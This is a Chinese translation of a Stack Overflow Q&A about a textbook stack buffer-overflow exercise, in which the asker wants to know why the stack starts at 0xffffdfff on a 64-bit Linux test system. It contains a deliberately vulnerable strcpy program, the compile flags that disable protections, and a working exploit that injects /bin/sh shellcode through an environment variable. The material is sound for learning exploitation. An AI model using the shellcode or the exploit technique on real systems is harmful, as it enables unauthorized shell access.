寻找缓冲区溢出的堆栈起始位置

4
根据《灰帽黑客》一书,“所有Linux ELF文件都会被映射到内存中,最后一个相对地址为0xbfffffff”。通过从该地址减去4个NULL字节、文件名长度和shellcode长度,似乎可以将受攻击缓冲区的返回地址设置为环境变量的地址。
然而,在我的64位Linux测试环境(ASLR已禁用)中尝试时,栈似乎不是从0xbffffff开始,而是从0xffffdfff开始。
为什么我的堆栈起始地址与书中的不同?这与ASLR无关,因为地址每次不会改变,但我想知道为什么我的地址从0xffffdfff开始而不是书中的地址。您有什么想法吗?
下面是受攻击的缓冲区:
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void main(int argc, char *argv[]) {
    char buffer[10];
    printf("Vulnerable program has loaded...");
    fflush(stdout);
    strcpy(buffer, argv[1]);
}

编译器选项:

gcc -m32 -mpreferred-stack-boundary=2 -z execstack -fno-stack-protector -ggdb -o shellcode_env shellcode_env.c

以下是攻击代码:

#include <unistd.h> 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
#define FILENAME "./vulnerable_buffer_small" 
#define SIZE 80  
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; 
void main(int argc, char *argv[]) { 
    char *environment[] = {shellcode, NULL}; 
    char buffer[SIZE]; 
    char *parameters[] = {FILENAME, buffer, NULL}; 
    int *pointer, i, address; 
    address = 0xbffffffa - strlen(shellcode) - strlen(FILENAME); 
    pointer = (int *) (buffer + 2);; 
    for (i = 0; i < SIZE; i += 4) { 
        *pointer++ = address; 
    }   
    printf("Using address: 0x%X\n", address); 
    execle(parameters[0], (char*) parameters, environment); 
    exit(1); 
}

我尝试使用GDB查找易受攻击程序中第一个环境变量的地址,但没有成功:

(gdb) x/s *environ
*lines removed for clarity*
0xffffdfb5: "DISPLAY=:1"
(gdb) 
0xffffdfc0: "/home/Workbench/vulnerable_buffer_small"
(gdb) 
0xffffdff8: ""
(gdb) 
0xffffdff9: ""
(gdb) 
0xffffdffa: ""
(gdb) 
0xffffdffb: ""
(gdb) 
0xffffdffc: ""
(gdb) 
0xffffdffd: ""
(gdb) 
0xffffdffe: ""
(gdb) 
0xffffdfff: ""
(gdb) 
0xffffe000: <error: Cannot access memory at address 0xffffe000>

有人能解释一下我错过了什么吗?

2
如果编译器启用了ASLR,堆栈起始地址将会不同。 - steve
我认为在试图溢出易受攻击的缓冲区时,你可能会遇到一个问题(如果你想这么称呼它的话),那就是现代操作系统通常都有某种形式的保护措施来防止此类攻击(例如ASLR、数据执行预防等)。 - PC Luddite
@steve 系统上的ASLR已被禁用。 - Dead Silence
系统上已禁用ASLR,怎么知道呢?可能是KASLR被禁用了吗?它们不是同一个东西。 - msw
@msw 我已经执行了:echo 0 > /proc/sys/kernel/randomize_va_space,我的地址每次都是固定的,只是起始地址不像书中所述应该是0xbffffff,我不知道为什么。 - Dead Silence
显示剩余7条评论
1个回答

1
解释相对简单-如果你比较32位内核和64位内核,段顺序和地址布局肯定会有所不同。该书的版本可能针对32位ELF二进制文件或旧版内核。即使你运行32位二进制文件,你仍应该期望不同的结果。你不应该假设不同内核版本之间的地址空间布局会相同。
有很多在线资源可以了解更多关于此问题的详细信息,例如一个非常过时的关于Kernel 2.0的文章:http://asm.sourceforge.net/articles/startup.html 你还应该探索在Linux上32位和64位二进制文件之间的程序地址空间布局差异。

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接